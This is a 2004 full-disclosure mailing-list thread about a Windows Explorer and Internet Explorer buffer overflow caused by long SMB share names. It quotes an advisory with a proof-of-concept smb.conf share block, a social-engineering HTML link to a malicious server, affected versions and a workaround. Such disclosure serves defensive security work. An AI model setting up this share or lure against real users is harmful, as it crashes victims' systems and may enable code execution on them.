full-disclosure - RE: Microsoft's Explorer and Internet Explorer long share name buffer overflow.

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Message-ID: <20040426210728.8769E4239@etrn.gtdinternet.com>
From: rodrigo at intellicomp.cl (Rodrigo Gutierrez)
Subject: RE: Microsoft's Explorer and Internet Explorer long share name buffer overflow.

Then you probably didnt doit right, me and others such as the secunia people
(www.secunia.com) have tested this
Vulnerability and proved that the systems are vulnerable. Even microsoft
says that the vulnerability was not patched
Until w2k sp4.

I tested this vulnerability in the following full patched systems:

Windows 98            (Vulnerable)
Windows Me            (Vulnerable)
Windows NT (All)      (Vulnerable)
Windows 2k (All)      (Vulnerable)
Windows XP (All)      (Vulnerable)
Windows 2003 server   (Not Vulnerable)

Remember that if you want to test the vulnerability, first you must know how
samba works.   Its not just to paste the example
Config in a smb.conf file, you must create the directory that is pointed in
the share and perhaps have a valid user.

Regards


Rodrigo.-


-----Mensaje original-----
De: Daniel Regalado Arias [mailto:dan57170@...oo.com] 
Enviado el: Lunes, 26 de Abril de 2004 16:56
Para: Rodrigo Gutierrez; full-disclosure@...ts.netsys.com;
bugtraq@...urityfocus.com; submissions@...ketstormsecurity.org;
info@...uriteam.com
Asunto: Re: Microsoft's Explorer and Internet Explorer long share name
buffer overflow.

Well, i have tested it in W2k with sp3 and explorer didnt get crashed!!!!!!!

Well, i cant get into the share because a message appears saying "share name
not found"!!!!

But, explorer is OK.


 --- Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
escribi?: > Sunday afternoon is a bit boring, and weather sucks
> down here in Santiago,
> Chile so here we go...
> The vuln is attached in TXT format, I would be gratefull if someone 
> could verify if it affects windows 2003 as well.
> 
> Rodrigo.-
> > Microsoft Explorer and Internet Explorer Long
Share
> Name Buffer Overflow.
> 
> 
> 
> Author: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
> 
> Affected: MS Internet Explorer, MS Explorer
> (explorer.exe) 
>           Windows XP(All), Windows 2000(All)
> 
> Not Tested: Windows 2003, Windows me, Windows 98, Windows 95
> 
> Vendor Status: i notified the vendor in the beginning of 2002, this
>                vulnerability was supposed to be fixed in xp service
>                pack 1 according to the vendors knowledge base article
>                322857.
> 
> Vendor url:
>
http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
> 
> 
> 
> Background.
> 
> MS Explorer (explorer.exe) and MS Internet
> Explorer(IEXPLORE.EXE) are
> core pieces of Microsoft Windows Operating Systems.
> 
> 
> 
> Description
> 
> Windows fails to handle long share names when accessing a remote file 
> servers such as samba, allowing a malicious server to crash the 
> clients explorer and eventually get to execute arbitrary code in the 
> machine as the current user (usually with Administrator rights in 
> windows machines).
> 
> 
> 
> Analysis
> 
> In order to exploit this, an attacker must be able to get a user to 
> connect to a malicious server which contains a share name equal or 
> longer than 300 characters, windows wont allow you to create such a 
> share, but of course samba
> includes the feature ;).   After your samba box is
> up and running create a
> share in you smb.conf :
> 
> 
> 
> #------------ CUT HERE -------------
> 
>
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
> comment = Area 51
> path = /tmp/testfolder
> public = yes
> writable = yes
> printable = no
> browseable = yes
> write list = @trymywingchung
> 
> #------------ CUT HERE -------------
> 
> 
> After your server is up, just get to your windows test box and get to 
> the start menu > run > \\your.malicious.server.ip., plufff, explorer 
> will crash :).
> 
> Social Engineering:
> 
> <a href="\\my.malicious.server.ip">Enter My 0day sploit archive</a>
>  
> 
> 
> Workaround.
> 
> From your network card settings disable the client for Microsoft 
> networks until a real fix for this vulnerability is available.
>  

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